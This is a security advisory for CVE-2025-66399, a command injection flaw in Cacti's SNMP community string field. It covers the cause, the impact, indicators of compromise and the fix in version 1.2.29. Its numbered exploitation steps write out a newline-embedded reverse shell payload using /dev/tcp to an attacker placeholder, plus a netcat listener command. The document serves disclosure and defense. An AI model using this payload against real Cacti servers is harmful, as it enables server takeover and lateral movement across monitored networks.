CVE-2025-66399: 
Cacti vulnerability analysis and mitigation

CVE-2025-66399 is an SNMP command injection vulnerability in Cacti, an open-source performance and fault management framework, that allows authenticated users to achieve remote code execution (RCE). The flaw exists in the SNMP device configuration functionality and affects all Cacti versions up to and including 1.2.28. It was disclosed on December 2, 2025, and fixed in version 1.2.29. The vulnerability carries a CVSS v3.1 base score of 8.8 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper input validation (CWE-20/CWE-77) in host.php, where the snmp_community field is retrieved via get_nfilter_request_var('snmp_community') — a function that performs no stripping of newline characters or shell metacharacters. The value is passed to api_device_save() with an intentionally empty sanitization regex, meaning control characters including newlines are stored verbatim in the database. When Cacti later embeds this value into backend SNMP operations, downstream SNMP tooling or wrappers that interpret newline-separated tokens as command boundaries will execute the injected commands with the privileges of the Cacti process. A proof-of-concept is publicly available in the GitHub Security Advisory, demonstrating exploitation via a crafted HTTP POST to host.php?action=save with a newline-embedded reverse shell payload in the snmp_community parameter (GitHub Advisory).

Successful exploitation allows an authenticated attacker with low privileges to execute arbitrary system-level commands with the privileges of the Cacti process, resulting in high confidentiality, integrity, and availability impact. Consequences include unauthorized modification of monitoring data, unauthorized file writes, potential full compromise of the Cacti server, and lateral movement within the monitored network infrastructure. Because Cacti typically has broad network visibility and credentials for monitored devices, a compromised instance poses significant risk to the broader environment (GitHub Advisory, Red Hat Bugzilla).

A proof-of-concept exploit is publicly available in the official Cacti GitHub Security Advisory, demonstrating a working reverse shell via the SNMP community string injection. The CVSS v4.0 exploit maturity is rated as "Proof of Concept." As of the time of disclosure, there is no confirmed evidence of active in-the-wild exploitation, and no threat actor attribution has been reported. The EPSS score is approximately 0.071% (low probability of near-term exploitation), and the vulnerability does not appear in the CISA KEV catalog (GitHub Advisory, Feedly).

1. Reconnaissance: Identify internet-facing or internally accessible Cacti instances running version 1.2.28 or earlier using network scanners or Shodan queries targeting Cacti login pages.
2. Authentication: Log in to the Cacti web interface with any valid low-privilege user account.
3. Craft malicious payload: Construct an SNMP community string containing a newline-delimited reverse shell command, e.g., public\nbash -c 'bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1'\n#.
4. Start listener: On the attacker-controlled machine, start a netcat listener: nc -lvnp 4444.
5. Submit crafted request: Send a POST request to host.php?action=save (e.g., POST /cacti/host.php?header=false) with the URL-encoded malicious snmp_community value embedded in the device creation form. The payload is stored verbatim in the database.
6. Trigger execution: Navigate to Management > Devices and select the newly created device. Cacti will invoke backend SNMP operations using the stored community string, causing the injected command to execute with Cacti process privileges, establishing a reverse shell to the attacker's listener (GitHub Advisory).

• Network: Unexpected outbound TCP connections from the Cacti server to unknown external IPs on non-standard ports (e.g., 4444); unusual SNMP-related traffic patterns originating from the Cacti host.
• Logs: Cacti access logs showing POST requests to /cacti/host.php?action=save or host.php?header=false with URL-encoded newline characters (%0a) in the snmp_community parameter; SNMP operation logs containing unexpected shell command strings.
• Database: Entries in the host table where the snmp_community column contains newline characters, shell commands, or unusual multi-line values.
• File System: Unexpected new files (web shells, scripts) written to the Cacti installation directory or /tmp; new cron jobs or scheduled tasks created by the Cacti service account.
• Process: Unusual child processes spawned by the Cacti PHP or poller process (e.g., bash, sh, nc, curl, wget, python) visible in process listings (GitHub Advisory).

Upgrade Cacti to version 1.2.29 or later, which fixes the input validation flaw by properly sanitizing the snmp_community field to reject control characters including newlines. As interim mitigations, restrict Cacti access to trusted, authenticated users only and apply network-level controls to limit exposure of the Cacti web interface. Additionally, review and minimize the privileges of the Cacti process account, and monitor Cacti logs for suspicious device configuration changes. No official configuration-only workaround has been published by the vendor (GitHub Advisory, Red Hat Bugzilla).

The vulnerability received coverage from several cybersecurity news outlets including CyberSecurityNews, GBHackers, and SecurityOnline, highlighting the RCE risk via SNMP community string injection. The Hacker News included it in their weekly recap. Check Point and Fortinet both added detection coverage for this CVE in their security product update feeds. Community discussion on Bluesky and other platforms noted the availability of a PoC and urged immediate patching (CyberSecurityNews, GBHackers, SecurityOnline).